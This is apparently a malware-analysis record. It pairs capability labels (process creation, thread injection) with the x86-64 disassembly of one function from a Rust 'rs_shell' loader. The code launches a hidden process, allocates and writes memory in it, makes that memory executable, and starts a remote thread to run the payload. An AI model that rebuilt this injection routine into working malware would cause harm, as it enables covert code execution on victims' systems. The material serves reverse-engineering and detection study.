Function at 0x140021e20
Capabilities:
Create process on windows
Create thread
Inject thread

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], 0xfffffffffffffffe
mov qword [rbp + 0xe8], rcx
mov rcx, rdx
mov rdx, r8
call fcn.140033300
mov rdi, rax
mov rsi, rdx
test rdx, rdx
je 0x140021e92
test rsi, rsi
js 0x1400221ca
movzx eax, byte [0x1402a2221]
mov edx, 1
mov rcx, rsi
call fcn.1400402e0
mov rbx, rax
test rax, rax
jne 0x140021e97
mov ecx, 1
mov rdx, rsi
call fcn.1401c87b0
jmp 0x1400221fc
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.1401bf140
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rsi
lea rdi, [rbp - 0x30]
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call fcn.1401c2500
mov rcx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
mov byte [rcx + rax], 0
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
mov qword [rbp + 0x30], 0
movaps xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], 0
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov qword [rbp + 0xd8], rcx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1400220d8
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x140021fe5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x80], eax
lea rax, [rbp + 0x80]
mov qword [rbp + 0xb8], rax
lea rax, [fcn.1401bd5a0]
mov qword [rbp + 0xc0], rax
lea rax, [0x1401cdbb8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 1
mov qword [rbp + 0x60], 0
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::loadersrcloader.rs
lea rcx, [rbp + 0x40]
mov edx, 4
mov r9d, 0x2b6
call fcn.140049040
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xd4], eax
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 1
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0x70], 0x20
mov byte [rbp + 0x78], 3
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x50], 0
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x60], rax
lea rax, [0x1401cd9c8]
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0xd4]
lea rdx, [rbp + 0x40]
call fcn.1401bd5a0
test al, al
jne 0x1400221d1
movups xmm0, xmmword [rbp + 0xb8]
movaps xmmword [rbp + 0x80], xmm0
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x80]
call fcn.1401b38f0
mov rsi, rax
mov rdi, rdx
mov rdx, qword [rbp + 0xe0]
test rdx, rdx
je 0x1400220a8
mov r8d, 1
mov rcx, qword [rbp + 0xd8]
call fcn.1400402f0
mov rax, qword [rbp + 0xe8]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400220c6
mov rcx, qword [rax + 8]
mov r8d, 1
call fcn.1400402f0
mov rax, rsi
mov rdx, rdi
add rsp, 0x178
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xe8]
mov rdi, qword [rax + 0x10]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r8, rdi
mov r9d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xe8]
mov r8, qword [rax + 8]
mov qword [rsp + 0x20], 0
mov rdx, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x40], 0
mov rcx, qword [rbp + 0xa0]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov r8, rdi
mov r9d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rbp + 0xa0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0xe0]
test rdx, rdx
je 0x1400221b0
mov r8d, 1
mov rcx, qword [rbp + 0xd8]
call fcn.1400402f0
xor esi, esi
mov rax, qword [rbp + 0xe8]
mov rdx, qword [rax]
test rdx, rdx
jne 0x1400220b7
jmp 0x1400220c6
call fcn.1401b38a0
jmp 0x1400221fc
lea rax, [0x1401cda80]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401cd9f8]
lea r9, [0x1401cda98]
lea r8, [rbp + 0x80]
mov edx, 0x37
call fcn.1401c8ee0
ud2